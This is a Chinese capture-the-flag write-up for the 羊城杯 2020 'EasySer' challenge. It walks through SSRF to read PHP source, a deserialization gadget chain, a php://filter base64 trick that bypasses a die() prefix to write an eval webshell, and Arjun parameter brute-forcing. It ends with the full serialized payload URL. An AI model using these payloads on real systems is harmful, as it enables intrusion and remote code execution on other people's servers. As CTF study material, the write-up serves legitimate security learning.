[羊城杯 2020]EasySer

羊城杯 2020EasySer

  • 进入页面,发现是ubuntu+apache2,但是好像没啥用

  • 尝试访问/robots.txt,得到

  • 访问/star1.php/,查看源码,得到提示

  • 一看就知道是ssrf,使用http://127.0.0.1/ser.php,得到源码

源码

php 复制代码
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?>

pop链子很简单:GWHT:__toString() => Yongen:hasaki()

绕过死亡die()

\[绕死亡exit()或die()\]

p神的文章谈一谈php://filter的妙用

使用编码和解码(base64)

复制代码
首先利用的伪协议是php://filter/write=convert.base64-decode/resource=
将写入的内容进行base64解码后写入文件

知识点
而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
base64算法解码时是4个byte一组

利用
由于<、?、()、;、>、\n、空格、"、'都不是base64编码的范围,
编码字符范围包括a-z A-Z 0-9 = /
直接拿<?php exit();?>举例
所以最终被解码的字符仅有"phpexit"和我们传入的其他字符
"phpexit"一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个"a"一共8个字符。
这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

这时如果传入的是php://filter/write=convert.base64-decode/resource='a'.'PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4='   
注:base64_encode('<?php @eval($_POST["cmd"]);?>')PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=

则"phpexita"被正常解码,变为乱码,PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=解码后变为一句话木马

除了上面直接看,还可以直接用代码,打开文件查看,试几次就出来了

php 复制代码
<?php
$filename = 'php://filter/write=convert.base64-decode/resource=shell.php';
$data = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=';
$add_str = '111';
$d = '<?php die("nononon");?>';
$data = $d . $add_str . $data;
file_put_contents($filename, $data);
  • phpdienononon:总共13个字符,所以需要加3个字符

Arjun

  • 接受序列化的参数在哪里呢,使用Arjun爆破,现在知道了ser.php源码,还有flag.php和star1.php不知道,爆破了flag.php啥都没有,爆破star1.php得到

    使用工具Arjun进行参数爆破
    命令:python3 arjun -u http://aac8b7e4-008f-486a-9642-232db8c62642.node4.buuoj.cn:81/ -c 100 -d 5
    解释:-c :一次发送的参数数 -d:请求之间的延迟(秒),(默认值:0)
    如果不加-d 5可能就会429然后导致爆破不出来,当然,加上延时后速度自然慢的离谱

  • 得到第二个参数c

payload

php 复制代码
<?php
class GWHT{
    public $hero;

}
class Yongen{
    //flag.php
    public $file='php://filter/write=convert.base64-decode/resource=shell.php';
    public $test='aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=';

}
$a=new GWHT();
$a->hero=new Yongen();
echo serialize($a);
//O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:4:"text";s:43:"aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=";}}

paylod

none 复制代码
/star1.php?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:4:"text";s:43:"aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=";}}
  • 链接AntSword,在根目录下面得到flag,对了flag.php是空的,什么都没有
相关推荐
Jul1en_7 分钟前
Matt 与 Uncle Bob 的播客访谈有感
开发语言·经验分享·笔记·ai·开源·github·ai编程
驭渊的小故事25 分钟前
算法训练笔记:添加逗号、跳台阶、扑克牌顺子
笔记
噜~噜~噜~1 小时前
操作系统笔记-3.1.1.3 进程的内存映像
笔记·操作系统
摇滚侠1 小时前
《Spring Boot 3:高级与架构设计》第 2 章 IOC容器的高级机制 Environment 阅读笔记 4
spring boot·笔记·后端
砚凝霜10 小时前
【软考信息安全】第一章 网络安全基础、管理与法律法规
安全·web安全·php
李帅朋10 小时前
微分基本定义笔记
人工智能·笔记·深度学习·神经网络
xian_wwq13 小时前
【学习笔记】深度认知系列-第16讲-提示词工程
人工智能·笔记·学习
三84414 小时前
SSRF 打内网 Redis:gopher 原理与实操
redis·web安全·bootstrap·ssrf
youm200314 小时前
认识Redis
redis·笔记·学习
醉颜凉14 小时前
网络安全必学:粘性MAC地址(Sticky MAC)原理与应用全解析
运维·服务器·网络·安全·web安全